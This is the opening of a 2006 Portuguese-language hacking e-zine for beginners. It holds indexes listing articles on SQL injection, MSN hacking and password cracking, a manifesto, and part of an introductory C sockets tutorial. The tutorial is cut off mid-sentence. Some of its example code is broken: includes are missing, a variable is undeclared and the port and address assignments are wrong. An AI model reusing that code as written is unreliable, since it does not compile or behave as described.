dP dP 88 88 88d8b.d8b. .d8888b. d8888P .d888b88 88'`88'`88 88' `88 88 88' `88 88 88 88 88. .88 88 88. .88 dP dP dP `88888P' dP `88888P8 oo dP 88 .d8888b. dP dP dP .d888b88 .d8888b. 88' `88 88 88 88 88' `88 88ooood8 88. .88 88. .88 88 88. .88 88. ... `8888P88 `88888P' dP `88888P8 `88888P' .88 Número 04 d8888P E-zine lançada oficialmente dia 18 de Abril de 2006. http://www.motdlabs.org contato[arroba]motdlabs.org irc.freenode.org /join #motd ATENÇÃO: O MotdLabs adverte que não será responsável por qualquer tolice que você venha a fazer. Estou certo de que estará consciente que ao tentar por em prática quaisquer técnicas descritas no decorrer desta zine, você poderá se dar mal. Ela foi criada apenas para propósitos educacionais e cabe a você decidir o que fará com esse poder em suas mãos. Só não venha reclamar que se deu mal por ter feito algo que aprendeu aqui. Obrigado pela a atenção e boa leitura! :) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ Índice de Artigos ]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [ 01 ] Introdução (by hallz) [ 02 ] Aeria Gloris - Camada 01 (by Toy) [ 03 ] Tutorial Sockets/Winsock - Parte I (by Gustavo Moreira) [ 04 ] LKM Code Injection (by tDs) [ 05 ] MSN Hacking (by Leandro A. Thomas) [ 06 ] Linux além do printf I - Processos e Threads (by Vo) [ 07 ] Algoritmo de escalonamento: Kernel 2.4 X 2.6 (by Felipe Goldstein) [ 08 ] Básico sobre Modelo OSI (by d4rwin) [ 09 ] Daemon Fingerprint (by Inferninho) [ 10 ] RNA: Uma Breve Introdução (by tDs) [ 11 ] Entrevista com o dum_dum (by vários) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ Índice de Mini-Artigos ]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [ 12 ] Diferenças entre a sintaxe AT&T e a Intel (by Narcotic) [ 13 ] Introdução a SQL Injection (by Inseto Verde) [ 14 ] Implementando um Sniffer em Java (by tDs) [ 15 ] Desenvolvimento de Bibliotecas (by nEuRoMaNcEr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ Ferramentas ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [GoogleCracker].....Usa o Google para quebrar senhas triviais (by Narcotic) [detectVM]..........Detecta o VMWare (by hallz) [herrschaft]........Coleta informações sobre a máquina (by Inferninho) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[01]-=[Introdução]=-|hallz|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Olá, pessoal Acho que muita gente já tinha dado a zine como morta, mas estamos aqui de novo, 18 meses depois, para apresentar a edição número 04 da zine. Nesta edição temos uma novidade: os mini-artigos, que são artigos que podem ser lidos num intervalo relativamente pequeno de tempo. Seria algo como as "lightning talks" (palestras relâmpago), comuns em conferências da galera do Python. Experimente lê-los no banheiro, na sala de espera do dentista ou duran- te os intervalos na TV. O conteúdo da zine continua voltado para os iniciantes (newbies), e es- peramos que toda a informação contida aqui possa auxiliar os primeiros passos dos interessados nessa jornada rumo ao hacking. No mais, gostaríamos de agradecer a todos que contribuíram de alguma forma para esta edição. Então aí vai a nossa pequena contribuição, da comunida- de para a comunidade. Boa leitura e até a próxima! Abraços, hallz =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ Colaboradores ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= d4rwin...............................................d4rwin[arroba]motdlabs.org dum_dum.....................................dum_dum[arroba]frontthescene.com.br Felipe Portavales................felipe.goldstein[arroba]students.ic.unicamp.br Gustavo Moreira......................................gustavo[arroba]milenar.net hallz.................................................hallz[arroba]motdlabs.org Inferninho.......................................inferninh0[arroba]yahoo.com.br Inseto Verde..........................................if.undef[arroba]gmail.com Leandro A. Thomas....................................leandroat[arroba]gmail.com Narcotic...........................................narcotic[arroba]motdlabs.org nEuRoMaNcEr.....................................marciomanbr[arroba]yahoo.com.br SKOFF.................................................skoff[arroba]motdlabs.org SkyNet45...........................................skynet45[arroba]motdlabs.org tDs.....................................................tds[arroba]motdlabs.org Toy...................................................toymak3r[arroba]gmail.com Vo.......................................................vo[arroba]motdlabs.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ _EOF_ ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[02]-=[Aeria Gloris - Camada 01]-=|Toy|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Desculpem-me dizer, mas foi tudo mentira. Quanto te disse que havia liberdade, enquanto os quatros cantos houve o cântico lírico das mais belas prosas políticas. Era somente isso, política. A Chuva está ai para limpar toda a imundice cretina, todo esses falsos lampejos de atos humildes eram criações destas estrelas caídas. E nós? Vivemos. E como usar o xine em um firewall, sem codecs? Todas as grandes filosofias morreram? Grunge, Satanismo, hum... absinto? Respostas..Respostas...E continuamos Livres. Trocamos uma ditadura descarada por uma que cheira a flores podres: - Instale isso, Instale aquilo! P!@#$, xmms para The Cure!! Você é um alienado..! Não vivo por suas regras não respeito suas regras, sua sociedade não me importa. Pegue a bela constituição e... Sentemos aqui no chão, vamos discutir como melhor compilar o apache... Sim, você tem medo? Realizado por, Organizado por...Professor, quem nos ordenhará hoje? Espero que essa revolução não seja televisionada... O Quanto você ganha com isso? SOFTWARE LIVRE!!! /JOIN OPEN SOURCE/CODE. Nada parece fazer sentido... CAMADA 01 - HIPOCRISIA. Vamos começar pelo o quanto que tu tens direito de acesso: 56 Kbp/s, 128 Kbp/s? É o suficiente? Vamos! Pague-me mais talvez eu funcione da maneira correta. Porém, não posso compartilhar a conexão que tenho, que eu pago! Sabe, não adianta muito dar sangue por quem não se importa! E quem disse que alguém era para se importar? Sabe, a ficha daquele necromante está toda marcada de manchas de café; que tal Forgotten Realms na sexta pela madrugada; ando tão ocupado com colegas que esqueci daqueles que cresceram comigo no meu bairro e que escolheram por Direito. Deixe-me explicar mais uma vez: - xine Serial_Experiment_Lain.avi - Eu não vivo por suas regras. - Eu não acredito no seu Deus. - Eu não respeito suas leis. Vou esquentar o café ali, enquanto você me fala das promessas de uma sociedade mais democrática! mais justa! Perfeito, o mundo agora é uma tela negra: # chmod +777 informação Um ssh e estou no server de alguém do Japão, perae.. $ talk root Trocando umas palavras sobre Silent Hill..o lugar que eu vou quando morrer... opa, não? Deus não disse isso? De acordo com o apostolo William Gibson, Jackson, Clarice Linspector aheaehhaeahe... Postura e Atitude, certo? Não esqueça da Atitude, criança-estrela. Levantemos todos o dedo mediano da mão esqueda (a direita é provável que esteja segurando o mouse!!) em direção a esse email! Estamos começando... Hum...desligar o monitor...venta tão gostoso la fora, onde está aquele cd do Moonspell... E o sol? Ainda não apareceu. Toy. _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[03]-=[Tutorial Sockets/Winsock - Parte I]=-|Gustavo Moreira|=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= mi!enar.net [www.milenar.net] "Temos mantido em segredo a nossa morte para tornar nossa vida possível" -- +-----------------------------------+ |Tutorial Sockets/Winsock - Parte I | +-----------------------------------+ |0. Introdução.....................| |1. Definição de sockets...........| |2. Protocolos.....................| | 2.1. Aplicação..................| | 2.2. Transporte.................| | 2.3. Roteamento.................| | 2.4. Físico.....................| | 2.5. Simulação..................| |3. Visão geral....................| |4. Headers........................| |5. Estruturas.....................| |6. Abrindo um socket..............| |7. Conectando.....................| |8. Funções úteis..................| |9. Fechando e encerrando..........| |10. Scanner de portas..............| +-----------------------------------+ [Página 0] Essa é a segunda edição do meu tutorial de sockets/ winsock. O intuito desse texto é introduzir o programador nos fascinantes system calls (Linux) e API(Windows) dos sockets. Não pretendemos partir para coisas mais com- plexas, como a programação de sockets brutos (raw sockets). Ao concluir a leitura deste texto você estará apto a criar ferramentas clientes que se comunicam com serviços e servidores que recebem conexões. Pré-requisitos para a leitura desse texto: um conhecimento, mesmo que básico sobre a linguagem C; além disso, algum conhecimento na pilha TCP/IP é importan- te; conceito sobre o modelo OSI. --=[ 1. Definição de sockets O Socket fornece uma interface de comunicação para que dois ou mais computadores possam trocar informações. ENDEREÇO_IP + PORTA_COMUNICAÇÃO = SOCKET O Winsock, por sua vez, é uma versão do socket portada para ambiente windows e desenvolvida pela Microsoft. --=[ 2. Protocolos Como você deve saber, o TCP/IP não é um protocolo, e sim uma pilha deles. Os mais importantes são, obviamente, o TCP e o IP, que deram nome à arquitetura. Na arquitetura TCP/IP, assim como no modelo OSI, existe uma hierarquia;essa hie- rarquia define que protocolos da camada inferior prestem serviços à camada supe- rior. Porém, ao invés de termos sete camadas como no modelo OSI, no TCP/IP temos apenas quatro. Vamos a elas: APLICAÇÃO TRANSPORTE REDE, Inter-rede ou Internet (mas gosto de chamar de roteamento) FÍSICO, ou acesso à rede. É importante destacar que as camadas citadas acima podem ser representadas de forma diferente, dependendo do autor.Existe, por exemplo, bons autores que afir- mam que o modelo TCP/IP tem cinco camadas. Fiquem atentos. Mas para nosso tuto- rial assumiremos quatro camadas. Contudo, mais do que decorar quantas camadas ou quais os seus nomes, aprenda conceitualmente qual a importância de cada uma de- las e suas funções. --=--=[ 2.1. Aplicação Essa é a camada mais acessível ao ser humano. De certa forma, nós podemos mani- pular facilmente os protocolos deste nível. Aqui encontramos serviços prestados ao usuário final: FTP, HTTP, SMTP, POP3, telnet, etc. Os protocolos das camadas inferiores prestam serviços às camadas superiores para que o usuário final possa realizar suas tarefas. Esta é a última camada: o serviço. --=--=[ 2.2. Transporte Essa camada é responsável pelo transporte dos dados. Nela temos os protocolos TCP e UDP. É aqui que teremos o controle de erros, endereçamento de portas para di- ferenciar no destino qual processo deve receber os dados,seqüenciamento de paco- tes para que esses sejam remontados com sucesso no destinatário,controle de flu- xo, dentre outros. Lembrando que, por padrão, o protocolo UDP não faz checagem de erro, embora seja possível implementar isto. --=--=[ 2.3. Roteamento Aqui, além de encontrarmos o pop-star IP, também encontraremos o protocolo de controle ICMP que, apesar de usar os serviços do IP, é considerado um protocolo de mesmo nível. É nessa camada que os pacotes receberão o endereçamento IP, possibilitando que os roteadores possam manipular esses pacotes e redirecioná-los adequadamente.Te- remos o campo tempo de vida, que serve para que os pacotes não trafeguem eterna- mente pela rede, dentre outras. Em suma, aqui teremos o roteamento (palavra fa- mosa) dos pacotes através de endereçamento lógico (IP). --=--=[ 2.4. Físico Aqui encontraremos a arquitetura da rede. Dentre as muitas encontraremos, por exemplo, o PPP, a Ethernet, Token Ring, FDDI entre tantas outras. Notem que aqui uma quinta camada faria sentido.A quarta seria o enlace e a quin- ta a física. Na camada de enlace teríamos os protocolos de enlace tratando dos endereçamentos físicos (Ethernet, PPP, como no exemplo acima) e na quinta cada- ma, físico, teremos apenas os bits, isto é,sinais elétricos puros e conexões me- cânicas, como conectores RJ11, RJ45 e as linhas (cabeamento ou ondas de rádio). Contudo, como não manipularemos protocolos de nível tão baixo, preferi manter as quatro camadas apenas. Além do mais geraria polêmica com outros autores. --=--=[ 2.5. Simulação Simularemos agora o envio de um e-mail para tornar toda essa teoria algo corri- queiro. Você redige um e-mail e clica em enviar. A maioria dos usuário acha que a situa- ção está resolvida aqui, mas é justamente nesse ponto que nossa brincadeira fica excitante. No nível de aplicação, ainda, o seu cliente de e-mail cria o cabeçalho do mesmo. Esse cabeçalho segue especificação do protocolo SMTP. Agora entra em cena o TCP, que fará um cálculo denominado checksum, que é um controle de erros para os da- dos. Também nessa camada o TCP insere a porta destino, 25, padrão para os servi- dores SMTP. Agora surge o roteamento. Surge o IP, que vai inserir IP de origem e IP destino (lembra-se quando você configurou o servidor SMTP?), o campo tempo de vida cujo valor varia de sistema operacional para sistema operacional. Além dis- so,na camada do IP existe um campo que armazena qual protocolo está sendo trans- portado; nesse caso é o TCP. Agora todo esse pacote de protocolos é encaminhado para a interface de rede. No caso de um e-mail pode ser o PPP. Quando o quadro chegar ao servidor, o modem deste "desembrulha" o pacote da "casca" PPP e envia o conteúdo para o kernel do sistema, que analisará o restante. Todo esse processo é denominado encapsulamento. Note que o protocolo SMTP, apli- cação, foi inserido dentro do TCP. O TCP, transporte, foi inserido dentro do IP. O IP, roteamento, foi inserido dentro do PPP, físico (ou enlace, com cinco cama- das). +------+ +-----+ +-----+ +-----+ |Telnet| | FTP | | DNS | ... | | Aplicação +------+ +-----+ +-----+ +-----+ | | | | +-----+ +-----+ +-----+ | TCP | | UDP | ... | | Transporte +-----+ +-----+ +-----+ | | | +-------------------------------+ | IP & ICMP | Roteamento +-------------------------------+ | +---------------------------+ | PPP, Ethernet, etc | Físico +---------------------------+ Obs.: desenho retirado da RFC do protocolo TCP. Imagine quatro caixas de papelão, cada uma delas ligeiramente menor que as ou- tras. Na menor das caixas coloque um presente para alguém. Feche esta caixa e na capa escreva: "Presente para alguém especial". Coloque esta caixa com o presente dentro da segunda menor caixa. Escreva na capa algo como peso e tamanho. Coloque esta caixa dentro da terceira menor caixa. Também proceda como anteriormente,es- crevendo informações na capa da caixa para controle. Faça isso até que todas as caixas estejam uma dentro da outra. Na capa de cada caixa existe uma informação. Pois bem, o presente representa o dado que se quer transmitir; cada uma das caixas é um protocolo de seu respectivo nível; cada in- formação na capa das caixas são os cabeçalhos de cada um dos protocolos. É exatamente assim que funciona. Cada protocolo é encapsulado dentro de outro e são inseridos cabeçalhos, com informações de controle. Esse tipo de padronização, como o modelo OSI, é feito para facilitar o enten- dimento dos protocolos e minimizar o tempo levado para detecção e correção de erros. Saber tudo isto não é apenas útil, é imprescindível. Supondo que você te- nha entendido a hierarquia dos protocolos e que cada um tem uma função específi- ca, sempre fornecendo serviços aos protocolos que se seguem, partiremos aos so- ckets. Eu insisto muito nesse conceito de camadas, por isso quero que entendam muito bem. Remetente Roteador Destinatário +----------+ +----------+ | Aplicação| | Aplicação| +----------+ +----------+ | ^ V | +----------+ +----------+ |Transporte| |Transporte| +----------+ +----------+ | ^ V | +----------+ +----------+ +----------+ |Roteamento| |Roteamento| ------> + |Roteamento| +----------+ +----------+ | +----------+ | ^ | ^ V | | | +----------+ +----------+ | +----------+ | Físico | ------> | Físico | +------> | Físico | +----------+ +----------+ +----------+ --=[ 3. Visão geral Como dito no início do tutorial, usaremos como base a linguagem C. Seguiremos mostrando as funções mais usadas nos sockets: accept socket bind *closesocket connect getpeername getsockname getsockopt htonl htons inet_addr inet_ntoa ioctlsocket listen ntohl ntohs recv recvfrom select send sendto setsockopt shutdown gethostname gethostbyaddr gethostbyname getprotobyname getprotobynumber getservbyname getservbyport Você poderá usar todas elas tanto em UNIX quanto em Windows.Na API Winsock exis- tem diversas funções que não serão tratadas nesse texto. Pense que, se você a- prender a sintaxe e dominar o funcionamento das mais importantes funções cita- das, você já poderá criar algumas ferramentas interessantes. * Apenas algumas diferenças. A função closesocket() é utilizada apenas no win- dows. Essa função pára imediatamente o recebimento ou o envio de dados pelo socket especificado e o fecha. Num unix-like basta utilizar o close(). --=[ 4. Headers Obviamente temos que acrescentar os headers: #include #include // em UNIX #include // para windows Algumas ressalvas. A versão 2 do winsock só está disponível do Win 98 para cima. Versões abaixo necessitarão de uma atualização para o correto funcionamento do seu código. Se você quiser utilize apenas a versão 1, pois para nossos exemplos, basta. Agora vamos declarar o socket: int meu_socket // para UNIX SOCKET meu_socket // Para Windows Essa é outra diferença.Em sistemas unix nós declararíamos um socket como do tipo INT (inteiro), mas no Windows declaramos como um SOCKET socket. Se você der uma fuçada no winsock.h, encontrará coisa do tipo: typedef unsigned int u_int; em seguida encontrarão isto: typedef u_int SOCKET; Eles só inverteram o nome do tipo de dado. Em outras palavras, tanto em unix-li- ke quanto no Windows um socket é do tipo inteiro (int). Inclusive, se você qui- ser, poderá utilizar o tipo INT também no Windows. --=[ 5. Estruturas Vou iniciar mostrando uma estrutura que você utilizará em praticamente todas as implementações com sockets. Nela, você escolherá o destino de seus pacotes, por- ta e a arquitetura. A estrutura utilizada para isto é a sockaddr_in e tem o se- guinte formato: struct sockaddr_in { short int sin_family; // tipo de arquitetura a ser utilizada unsigned short int sin_port; // a porta, claro struct in_addr sin_addr; // endereço no formato IP unsigned char sin_zero[8]; // zera o restante da estrutura }; AF_INET (ARPA protocolos inernet). A AF_INET é a mais usada. Quando tratamos de AF_INET e/ou ARPA, estamos nos re- ferindo à arquitetura TCP/IP. Existem mais arquiteturas disponíveis, leia o winsock.h ou o sockets.h, mas é quase certo que você jamais precise das outras. Vamos tomar um exemplo: ----------------------------------exemplo.c------------------------------------- #include main() { SOCKET meu_socket; /* declarando o socket */ struct sockaddr_in host_destino; /* declarando estrutura, onde teremos arquitetura, IP e porta */ host_destino.sin_family=AF_INET; host_destino.sin_port=80; /* Porta destino e arquitetura. Aqui vai dar erro, mas paciência, já vou falar sobre isso.*/ host_destino.sin_addr.s_addr=200.100.100.100; /* Endereço destino, aqui também vai dar erro, mas agüenta firme!! */ for(cont=0;cont<=8;cont++) { vitima.sin_zero[cont]=0; } ----------------------------------exemplo.c------------------------------------- Nesse último parâmetro zeramos todo o restante da estrutura. Falaremos sobre is- so mais abaixo, achei que ficaria mais fácil entender. Eu usei um for, mas você verá códigos que usam a função memset() e a grande maioria usa a função bzero(). Isso é questão de gosto. Eu usei o for porque torna o código mais didático. Agora já temos nosso "alvo". --=[ 6. Abrindo um socket Esta função será a responsável por criar o socket e deixá-lo pronto para efe- tuar ou receber uma conexão. Sua sintaxe é a seguinte: socket(int ARQUITETURA,int TIPO_PROTOCOLO,int PROTOCOLO) Quanto à arquitetura já sabemos qual utilizar, será o AF_INET. No tipo de proto- colo nós temos cinco, mas nos contentaremos com apenas dois, os mais utilizados comumente: SOCK_DGRAM e SOCK_STREAM. Para simplificar ao máximo, o sock_stream utiliza o protocolo TCP, ou seja, ele tenta criar uma conexão com o destino pra- ticando o handshake. Dizemos, então, que o sock stream é orientado a conexão. O sock_dgram utiliza o protocolo UDP. Como você deve ter aprendido no seu curso de redes ou em alguma apostila, o protocolo UDP não faz controle de erros.Ele também não executa o handshake. Quando você cria um socket desse tipo, você o deixa pronto para o envio/recebimento de dados, mas jamais será estabelecida uma conexão de dados entre remetente e destinatário. Em outras palavras,o dado é jo- gado na rede e sabe-se lá quando e como vai chegar. Exatamente por isso o proto- colo UDP é mais veloz que o TCP, utilizado principalmente para aplicações como vídeo-conferência e jogos. Imagine um sistema de vídeo-conferência que faça con- trole de erros e pede retransmissão a cada pacote incorreto! Vamos tomar outro exemplo: ----------------------------------exemplo.c------------------------------------- #include // não se esqueça q unix é diferente main() { SOCKET meu_socket; // não se esqueça q no unix é do tipo INT. struct sockaddr_in host_destino; meu_socket=socket(2,1,0); /* criando um socket. Todos os parâmetros são do tipo INT. */ ----------------------------------exemplo.c------------------------------------- Como citado anteriormente, o último parâmetro se refere ao protocolo. Você pode tanto optar por usar assim: socket(AF_INET,SOCK_STREAM,IPPROTO_IP); como usar suas respectivas numerações. Há uma relação mais abaixo sobre isso. Assim como o IPPROTO_IP, eu poderia colocar outros, mas para nosso tutorial u- saremos apenas esse.O socket está criado.Definimos a arquitetura (2 ou AF_INET), o protocolo de transporte (1 ou SOCK_STREAM) e o protocolo que vai roteá-lo, no caso, o 0 ou IPPROTO_IP. A função retorna -1 em caso de erro. Vamos às relações, conforme prometi: Tipos de protocolos: #define SOCK_STREAM_____ 1 // com protocolo TCP #define SOCK_DGRAM______ 2 // com protocolo UDP #define SOCK_RAW________ 3 /* ao terminar esse texto, estudar bastante e, por fim, dominar os sockets, deve ser seu proximo passo: raw sockets. */ #define SOCK_RDM________ 4 #define SOCK_SEQPACKET__ 5 Arquiteturas: #define AF_UNSPEC_____ 0 #define AF_UNIX_______ 1 #define AF_INET_______ 2 // olha a nossa aqui! #define AF_IMPLINK____ 3 #define AF_PUP________ 4 #define AF_CHAOS______ 5 #define AF_IPX________ 6 #define AF_NS_________ 6 #define AF_ISO________ 7 #define AF_OSI___ AF_ISO #define AF_ECMA_______ 8 #define AF_DATAKIT____ 9 #define AF_CCITT______ 10 #define AF_SNA________ 11 #define AF_DECnet_____ 12 #define AF_DLI________ 13 #define AF_LAT________ 14 #define AF_HYLINK_____ 15 #define AF_APPLETALK__ 16 #define AF_NETBIOS____ 17 #define AF_VOICEVIEW__ 18 Protocolos: #define IPPROTO_IP____ 0 // Veja aqui! #define IPPROTO_ICMP__ 1 #define IPPROTO_GGP___ 2 #define IPPROTO_TCP___ 6 #define IPPROTO_PUP___ 12 #define IPPROTO_UDP___ 17 #define IPPROTO_IDP___ 22 #define IPPROTO_ND____ 77 #define IPPROTO_RAW___ 255 #define IPPROTO_MAX___ 256 --=[ 7. Conectando Agora que o socket está criado, poderemos nos conectar. A função para isto é a connect(). Aqui vai seu formato: connect(SOCKET,const struct sockaddr*,int); ou connect(socket,estrutura_com_enderco_e_porta,tamanho_da_estrutura); Aqui é um exemplo prático. connect(s1,(struct sockaddr *)&host_destino,sizeof(host_destino)); A princípio pode parecer meio confuso, mas tente ver além desse monte de letri- nhas. É o socket, (vírgula) a estrutura com informações do destinatário (vírgu- la) e o tamanho dessa estrutura, nada mais... A função connect retorna 0 em caso de sucesso e -1 em caso de erro. Como os mais atentos devem ter notado nos exemplos que incluí, declarei uma es- trutura do tipo sockaddr_in, mas na hora da conexão, chamei a sockaddr, por quê? Veja isto: struct sockaddr { u_short sa_family; char sa_data[14]; }; Na opção sa_family, colocaríamos os AFs (AF_XXX), no nosso caso o AF_INET e no sa_data, colocaríamos o endereço do destinatário e a sua porta. Mas isso é "es- quisitérrimo". Logo os programadores sentiram necessidade de criar essa estru- tura manualmente. Inventaram a estrutura sockaddr_in, onde o 'in' significa "internet". Então, quando zeramos aquela estrutura com for, memset() ou bzero(), estamos acomodando aquela estrutura nessa, o sockaddr. É por isso que ao usarmos a função connect chamamos a estrutura sockaddr,pois é essa que tem "intimidade" com o socket. --=[ 8. Funções Após este capítulo estaremos aptos a fazer muitas coisas interessantes, já vou passar o código de um scanner de portas simples. Na verdade, acho que todo mundo que começa com sockets faz um, siga a tradição!! struct hostent *gethostbyname(const char *name); A função gethostbyname() converte um nome de host para um endereço IP. Como pu- deram ver, é retornado um ponteiro para uma estrutura, vamos a ela: struct hostent { char *h_name; // Nome do host char **h_aliases; // Lista dos "aliases" short h_addrtype; // Tipo de endereço do host short h_length; // Tamanho do endereço char **h_addr_list; // Lista de endereços do servidor de nomes #define h_addr h_addr_list[0] } Em sistemas UNIX, para utilizar essa função adicione isto: #include Vamos a um exemplo prático, vai. O programinha abaixo resolve o endereço IP da- do um nome de host. -----------------------------exemplos.c---------------------------------- <++> sockets/resolver.c #include int main(int argc, char *argv[]) { struct hostent *host; host=gethostbyname(argv[1]); if(host==NULL) { printf("Host desconhecido!"); // note q gethostbyname retorna NULL em caso de falha. exit(1); } printf ("Nome do Host: %s\n",host->h_name); printf ("Endereço IP: %s\n", inet_ntoa(*((struct in_addr *)host->h_addr))); return 0; } <--> sockets/resolver.c -----------------------------exemplos.c---------------------------------- Apenas um programinha de utilidade duvidosa, mas é um bom exemplo. Vamos expli- car o que é inet_ntoa() e a estrutura in_addr. Apesar de conhecermos o endereço IP como x.x.x.x,esse é apenas um formato que torna fácil seu reconhecimento por parte dos humanos. Então, existem duas, na verdade três funções que convertem o formato real do IP em formato ASCII (q podemos ler) e o formato ASCII (que nós definimos) para o formato IP, pois é esse formato que os sockets precisam. inet_ntoa() (ntoa significa network to ascii) - essa função converte o formato IP das máquinas para ASCII, para que nós, seres humanos, consigamos ler. Formato: char *inet_ntoa(struct in_addr inaddr); Note que essa função precisa da estrutura in_addr, por isso a convertemos. Bom, temos duas outras funções. Essas duas servem para converter nosso ASCII pa- ra o IP das máquinas. inet_addr() - essa é a mais comum de todas, você verá sempre. Formato: unsigned long inet_addr(const char *ptr); Só um exemplo: inet_addr("127.0.0.1"); // simples, não? Ainda existe o inet_aton() (aton significa ascii to network). Viram? As funções se auto-explicam. Essa função não é muito utilizada, pois, por algum motivo que sinceramente desconheço, todos preferem o inet_addr. UNIX, para usar as funções inet_aton(), inet_addr() e inet_ntoa, acrescente: #include #include #include #include Isso, todos. Nesse ponto, programar no Windows é mais fácil. Adicionando o win- sock.h temos tudo que precisamos. Network Byte Order é o modo como nosso hardware guarda os dados. Nesse sistema, também conhecido como NBO, os bytes menos significativos são guardados primeiro. Não é diferente do caso anterior, do IP. Nós lemos o dado de uma forma, o compu- tador de outra. Para enviar os dados pela rede, temos que respeitar os sistemas utilizados, nesse caso o NBO. Então, para garantir que nossos programas respei- tem esse sistema, existem algumas funções. u_long htonl(u_long hostlong) - Host TO Network Long u_short htons(u_short hostshort) - Host TO Network Short u_long ntohl(u_long netlong) - Net TO Host Long u_short ntohs(u_short netshort) - Net TO Host Short Notem as letras maiúsculas, são os nomes das funções. Pensem sempre em como as funções são formadas: htons (host to network short). Ela está dizendo o que faz: converte um dado de um host (seu computador) para a rede (q pode ser a internet). Sempre pense assim e não terá nenhuma dificuldade. Sem dúvida, a função que você mais verá é a htons(). Desenvolvedor em ambiente UNIX, quando quiser usar uma dessas funções, adicione o header: #include ou #include getservbyport() - Essa função retorna informações sobre determinada porta de um host. Formato: struct servent* getservbyport(int,const char*); UNIX, para usar essa função: #include Como pode ver, a função retorna a seguinte estrutura. struct servent { char *s_name; // nome do servico char **s_aliases; // nomes alternativos para o servico short s_port; // porta padrao utilizada por este servico char *s_proto; // protocolo usado por este servico }; Agora vamos ver outro exemplo para fixar bem. -----------------------------exemplos.c---------------------------------- #include // ser for UNIX, adicione esse header. int main() { struct servent *servico; servico=getservbyport(htons(80),"tcp"); /* queremos o protocolo tcp, tbem poderíamos escolher o udp.*/ printf("Na porta 80 temos o servico %s",servico->s_name); } -----------------------------exemplos.c---------------------------------- Simples, não? Notem que nesse caso não precisamos nem criar um socket. Mas temos que fazer uma pergunta. Onde diabos estão armazenadas essas informa- ções sobre os serviços? No Windows NT/2000 -> WINNT\system32\drivers\etc\services UNIX -> etc/services Abra o arquivo e bingo! Vocês podem modificar esses arquivos, e lembrem-se: mu- dando esse arquivo, fatalmente o resultado do nosso último exemplo também muda- rá. ATENÇÃO: se você está usando Windows para acompanhar esse tutorial, leia esse capítulo. Se você nunca pretende programar sockets em Windows, pode pular essa parte e vá ao capítulo 9 (Fechando e encerrando). Para quem vai pular, até mais embaixo: FALOW! Olá users Windows. O fato é o seguinte, existe uma função específica para inicializar a API win- sock. Em outras palavras, se você não inicializar a API, nenhuma aplicação com sockets vai funcionar. A função para inicializar é: int WSAStartup(WORD,LPWSADATA); onde o WORD é um unsigned short. O LPWSADATA é um ponteiro para a seguinte es- trutura: typedef struct WSAData { WORD wVersion; WORD wHighVersion; char szDescription[WSADESCRIPTION_LEN+1]; char szSystemStatus[WSASYS_STATUS_LEN+1]; unsigned short iMaxSockets; unsigned short iMaxUdpDg; char * lpVendorInfo; } WSADATA; Exemplo prático para inicializar a API Winsock: WORD Versao; // variável WSADATA Start; // variável Versao=MAKEWORD(2,0); /* aki exigimos ao Win uma versão da API. Nesse caso será a versão 2.0.*/ if(WSAStartup(Versao,&Start)!=0) { printf("Versao 2.0 da API winsock requerida"); exit(); } A função retorna 0 em caso de sucesso. Para encerrar o Winsock, usamos a função WSACleanup(). Desse jeito mesmo. Quando não quisermos mais usar o Winsock, basta utilizar esta função.Então, relembrando, para criar e usar o socket temos que inicializar a API winsock, quando não quisermos mais usá-la, executamos a função WSACleanup(). Nota importante: se você 